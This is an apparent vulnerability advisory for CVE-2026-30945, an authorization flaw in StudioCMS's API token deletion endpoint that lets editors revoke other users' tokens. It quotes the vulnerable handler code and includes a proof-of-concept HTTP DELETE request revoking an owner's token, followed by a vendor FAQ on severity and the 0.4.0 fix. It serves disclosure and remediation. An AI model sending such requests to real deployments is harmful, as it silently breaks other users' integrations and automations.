CVE-2026-30945

The DELETE /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user with editor privileges or above to revoke API tokens belonging to any other user, including admin and owner accounts. The handler accepts tokenID and userID directly from the request payload without verifying token ownership, caller identity, or role hierarchy. This enables targeted denial of service against critical integrations and automations.

Details

Vulnerable Code

The following is the server-side handler for the DELETE /studiocms_api/dashboard/api-tokens endpoint (revokeApiToken):

File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 58–99)
Version: [email protected]

DELETE: (ctx) =>
    genLogger('studiocms/routes/api/dashboard/api-tokens.DELETE')(function* () {
        const sdk = yield* SDKCore;

        // Check if demo mode is enabled
        if (developerConfig.demoMode !== false) {
            return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
        }

        // Get user data
        const userData = ctx.locals.StudioCMS.security?.userSessionData;       // [1]

        // Check if user is logged in
        if (!userData?.isLoggedIn) {                                            // [2]
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Check if user has permission
        const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;  // [3]
        if (!isAuthorized) {
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Get Json Data
        const jsonData = yield* readAPIContextJson<{
            tokenID: string;                                                    // [4]
            userID: string;                                                     // [5]
        }>(ctx);

        // Validate form data
        if (!jsonData.tokenID) {
            return apiResponseLogger(400, 'Invalid form data, tokenID is required');
        }

        if (!jsonData.userID) {
            return apiResponseLogger(400, 'Invalid form data, userID is required');
        }

        // [6] Both user-controlled values passed directly, no ownership or identity checks
        yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });

        return apiResponseLogger(200, 'Token deleted');                         // [7]
    }),

Analysis
The handler shares the same class of authorization flaws found in the token generation endpoint, applied to a destructive operation:

1. Insufficient permission gate [1][2][3]: The handler retrieves the session from ctx.locals.StudioCMS.security and only checks isEditor. Token revocation is a high-privilege operation that should require ownership of the token or elevated administrative privileges, not a generic editor-level gate.
2. No token ownership validation [4][6]: The handler does not verify that jsonData.tokenID actually belongs to the jsonData.userID supplied in the payload. An attacker could enumerate or guess token IDs and revoke them regardless of ownership.
3. Missing caller identity check [5][6]: The jsonData.userID from the payload is never compared against userData (the authenticated caller from [1]). Any editor can specify an arbitrary target user UUID and revoke their tokens.
4. No role hierarchy enforcement [6]: There is no check preventing a lower-privileged user (editor) from revoking tokens belonging to higher-privileged accounts (admin, owner).
5. Direct pass-through to destructive operation [6][7]: Both user-controlled parameters are passed directly to sdk.REST_API.tokens.delete() without any server-side validation, and the server responds with a generic success message, making this a textbook IDOR.

PoC

Environment
User ID | Role
2450bf33-0135-4142-80be-9854f9a5e9f1 | owner
39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor

Attack, Editor Revokes Owner's API Token
An authenticated editor sends the following request to revoke a token belonging to the owner:

DELETE /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: 127.0.0.1:4321
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Accept: application/json
Content-Length: 98

{
  "tokenID": "16a2e549-513b-40ac-8ca3-858af6118afc",
  "userID": "2450bf33-0135-4142-80be-9854f9a5e9f1"
}

Response (HTTP 200):

{"message":"Token deleted"}

The server confirmed deletion of the owner's token. The tokenID here refers to the internal token record identifier (UUID), not the JWT value itself. The editor's session cookie was sufficient to authorize this destructive action against a higher-privileged user.

• Denial of Service on integrations: API tokens used in CI/CD pipelines, third-party integrations, or monitoring systems can be silently revoked, causing automated workflows to fail without warning.
• No audit trail: The revocation is processed as a legitimate operation, the only evidence is the editor's own session, making attribution difficult without detailed request logging.

CVE-2026-30945 has a CVSS score of 7.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-30945? CVE-2026-30945 is a high-severity security vulnerability in studiocms (npm), affecting versions <= 0.3.0. It is fixed in 0.4.0.
2. How severe is CVE-2026-30945? CVE-2026-30945 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of studiocms are affected by CVE-2026-30945? studiocms (npm) versions <= 0.3.0 is affected.
4. Is there a fix for CVE-2026-30945? Yes. CVE-2026-30945 is fixed in 0.4.0. Upgrade to this version or later.
5. Is CVE-2026-30945 exploitable, and should I be worried? Whether CVE-2026-30945 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-30945 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-30945? Upgrade studiocms to 0.4.0 or later.